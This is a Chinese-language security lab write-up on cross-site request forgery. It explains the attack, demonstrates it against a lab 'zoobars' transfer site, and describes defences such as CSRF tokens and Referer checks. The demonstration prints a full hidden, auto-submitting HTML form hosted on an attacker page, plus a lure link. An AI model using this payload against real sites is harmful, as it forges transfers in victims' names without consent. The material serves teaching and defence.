信安实践——CSRF攻击与防御
1.实验原理
CSRF(Cross-Site Request Forgery,跨站点伪造请求)是一种网络攻击方式,该攻击可以在受害者毫不知情的情况下以受害者名义伪造请求发送给受攻击站点,从而在未授权的情况下执行在权限保护之下的操作,具有很大的危害性。具体来讲,可以这样理解CSRF攻击:攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。
简单地说,CSRF攻击就是攻击者盗用了受害者的身份,在存在CSRF漏洞的网站上伪装成受害者进行操作。
CSRF攻击原理
以下介绍涉及4个实体:
- user: 一个普通的互联网用户
- webA: 一个受user信任的网站,但存在CSRF漏洞
- attacker: 利用CSRF漏洞的攻击者
- webB: 攻击者的网站
CSRF攻击步骤如下:
- user 访问 webA
- webA 的 cookie 未失效,如 user 未登出 webA,或未清除 webA 的 cookie 等
- user 访问 webB
- webB 利用 webA 的 cookie 伪装成 user 向 webA 发送请求
- webA 接受 webB 的请求,并根据请求携带的 cookie 认为 webB 是 user,执行请求
- CSRF攻击结束

2.模拟CSRF攻击
首先看一下可以被攻击的页面:

在正常的业务流程中,user(在这是 user 名为 lab3_v)可以在这个页面选择将自己的 zoobars 转移给其他用户,可以理解为极度简化版的银行转账流程。执行这一操作,只需要 user 输入 zoobars 数量和转账用户名。
查看此页面的 html 源代码,我们仅仅需要表单代码,如下:
<form method=POST name=transferform action="/transfer.php">
<p>Send <input name=zoobars type=text value="" size=5> zoobars</p>
<p>to <input name=recipient type=text value=""></p>
<input type=submit name=submission value="Send">
</form>
现在一个攻击者attacker,自己构建了一个网站,并且在自己的页面中写下如下代码,假设此页面的URL是 http://csrf.com/csrf.html:
<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta http-equiv="Content-Type" content="text/html;charset=UTF-8"/>
<title>CSRF Attack</title>
</head>
<body>
<iframe name="it" style="display:none" width="600px" height="450px"></iframe>
<form method="POST"
name="transferform"
action="http://myzoo.islab.com/transfer.php"
target="it"
id="transferform"
style="display:none">
<input name="zoobars" type="text" value="1" size="5">
<input name="recipient" type="text" value="lab3_a">
<input type="hidden" name="submission" value="Show Detil">
</form>
<h1>Hi,I'm lab3_a</h1>
<script type="text/javascript">
form = document.getElementById("transferform");
form.submit();
</script>
</body>
</html>
这段代码主要做的是:将 myzoo.islab.com/transfer.php 的表单页面复制过来,简单修改后将其隐藏,修改的地方主要是每次转移的 zoobars 数量以及转移用户,并在页面加载完毕后使用 js 模拟这个表单提交的事件。这样,就完成了 CSRF 攻击,接下来 attacker 要做的工作就是引导其他用户访问这个页面,只要有某个用户,其在 myzoo.islab.com 的 cookies 还有效,他的 zoobars 就会被转移到 attacker 。
比如,attacker 以用户名 lab3_a 登录 myzoo.islab.com,修改自己的主页的 profile 如下:
<a href=\'http://csrf.com/csrf.html\'>click me</a>
之后,如果其他用户,如 lab3_v 访问了 lab3_a 的主页,此时 lab3_v 有 10 个 zoobars, lab3_a 有 10 个 zoobars


之后, lab3_v 点击了 lab3_a 主页上的链接,则 lab3_v 会被引导至攻击页面,并被窃取了 zoobars。

此时 lab3_v 有 9 个 zoobars, lab3_a 有 11 个 zoobars


3.CSRF防御
(1) 验证码
使用验证码,强制用户必须与应用进行交互,才能完成最终请求。在通常情况下,验证码能很好遏制 CSRF 攻击。但是出于用户体验考虑,网站不能给所有的操作都加上验证码。因此验证码只能作为一种辅助手段,不能作为主要解决方案。此外,使用图像识别等方式也可以跳过验证码交互机制。
(2) Referer Check
Referer Check在Web最常见的应用就是"防止图片盗链"。同理,Referer Check也可以被用于检查请求是否来自合法的"源"(Referer值是否是指定页面,或者网站的域),如果都不是,那么就极可能是CSRF攻击。
但是因为服务器并不是什么时候都能取到Referer,所以也无法作为CSRF防御的主要手段。但是用Referer Check来监控CSRF攻击的发生,倒是一种可行的方法。
(3) CSRF Token
现在业界对CSRF的防御,一致的做法是使用一个Token(Anti CSRF Token)。
例子:
- 用户访问某个表单页面。
- 服务端生成一个Token,放在用户的Session中,或者浏览器的Cookie中。
- 在页面表单附带上Token参数。
- 用户提交请求后, 服务端验证表单中的Token是否与用户Session(或Cookies)中的Token一致,一致为合法请求,不是则非法请求。
这个Token的值必须是随机的,不可预测的。由于Token的存在,攻击者无法再构造一个带有合法Token的请求实施CSRF攻击。另外使用Token时应注意Token的保密性,尽量把敏感操作由GET改为POST,以form或AJAX形式提交,避免Token泄露。
信安实践——CSRF攻击与防御的更多相关文章
- CSRF——攻击与防御
CSRF——攻击与防御 author: lake2 0x01 什么是CSRF攻击 CSRF是Cross Site Request Forgery的缩写(也缩写为XSRF),直译过来就是跨站请求伪造的意 ...
- csrf 攻击和防御
CSRF概念:CSRF跨站点请求伪造(Cross—Site Request Forgery),跟XSS攻击一样,存在巨大的危害性,你可以这样来理解: 攻击者盗用了你的身份,以你的名义发送恶 ...
- CSRF攻击与防御(写得非常好)
转自:http://blog.csdn.net/stpeace/article/details/53512283 CSRF概念:CSRF跨站点请求伪造(Cross—Site Request Forge ...
- Web安全之CSRF攻击的防御措施
Web安全之CSRF攻击的防御措施 CSRF是什么? Cross Site Request Forgery,中文是:跨站点请求伪造. CSRF攻击者在用户已经登录目标网站之后,诱使用户访问一个攻击 ...
- 转!!CSRF攻击与防御(写得非常好)
CSRF概念:CSRF跨站点请求伪造(Cross—Site Request Forgery),跟XSS攻击一样,存在巨大的危害性,你可以这样来理解: 攻击者盗用了你的身份,以你的名义发送恶 ...
- csrf 攻击及防御
1.什么是CSRF攻击: CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:C ...
- CSRF攻击与防御(转)
CSRF概念:CSRF跨站点请求伪造(Cross—Site Request Forgery),跟XSS攻击一样,存在巨大的危害性,你可以这样来理解: 攻击者盗用了你的身份,以你的名义发送 ...
- CSRF攻击与防御
CSRF是什么 CSRF在百度百科中是这么说的:“CSRF(Cross-site request forgery跨站请求伪造,也被称为“one click attack”或者session ridin ...
- 转-CSRF——攻击与防御
0x01 什么是CSRF攻击 CSRF是Cross Site Request Forgery的缩写(也缩写为XSRF),直译过来就是跨站请求伪造的意思,也就是在用户会话下对某个CGI做一些GET/PO ...
随机推荐
- python基础学习1-json,pickle的序列化和反序列化
import requests import json dic={'k1':'v1'} print(dic,type(dic)) result = json.dumps(dic)#调用dumps方法把 ...
- 【转载】屏幕坐标向3维坐标的转化-DXUT的CD3DArcBall类
原文:http://blog.csdn.net/bluekitty/article/details/6070828 3D应用程序中,我们可以通过鼠标进行空间中物体的旋转和视角的变换等,而鼠标的移动是2 ...
- linux编译安装aria2
一.安装aria2 [root@192-168-7-77 ~]# wget https://github.com/aria2/aria2/releases/download/release-1.33 ...
- JTree实现电脑资源管理器
0.前言 最近老师布置了一项用Java写资源管理器的任务,一开始以为简单,但是实际操作起来,却发现网上的资源用起来相对生疏.在使用中,我也遇到了许多问题,虽然不能像其他博主一样,写的非常齐全,但我还是 ...
- 结对测试 vs 随机测试
在接口测试过程中,最关键的是对参数的各种情况进行测试. 随机测试是指随机选择一些参数值来测. 结对测试是指parewise算法生成较高“性价比”的组合情况来测. 随机测试存在的问题 随机,这两个字本身 ...
- Bailian 2808 校门外的树(入门线段树)
题目链接:http://bailian.openjudge.cn/practice/2808?lang=en_US 总时间限制: 1000ms 内存限制: 65536kB 描述 某校大门外长度为L的马 ...
- 基于Centos7的比特币源码编译
因为一直比较熟悉Windows平台的开发,本来打算在windows下进行编译,但查了一些文章,发现还是在linux下编译成本最低,所以这里就以手头现有的Centos7环境进行代码编译. 一.代码获 ...
- 曲线救国:安装golang.org/x/*
很多第三方库都用到了golang.org/x下面的包,但是国内不通过VPN是无法访问到的,不过没关系,在github.com/golang下面,基本都有对应的包 如何操作? 以安装sys包为例 git ...
- 三羊献瑞:next_permutation()
三羊献瑞 观察下面的加法算式: 祥 瑞 生 辉 + 三 羊 献 瑞------------------- 三 羊 生 瑞 气 (如果有对齐问题,可以参看[图1.jpg]) 其中,相同的汉字代 ...
- Python处理PDF和Word文档常用的方法(二)
Python处理word时,需要安装和导入python-docx模块. 安装命令:pip install python-docx 导入命令:import docx 编码编写顺序:用docx.Docum ...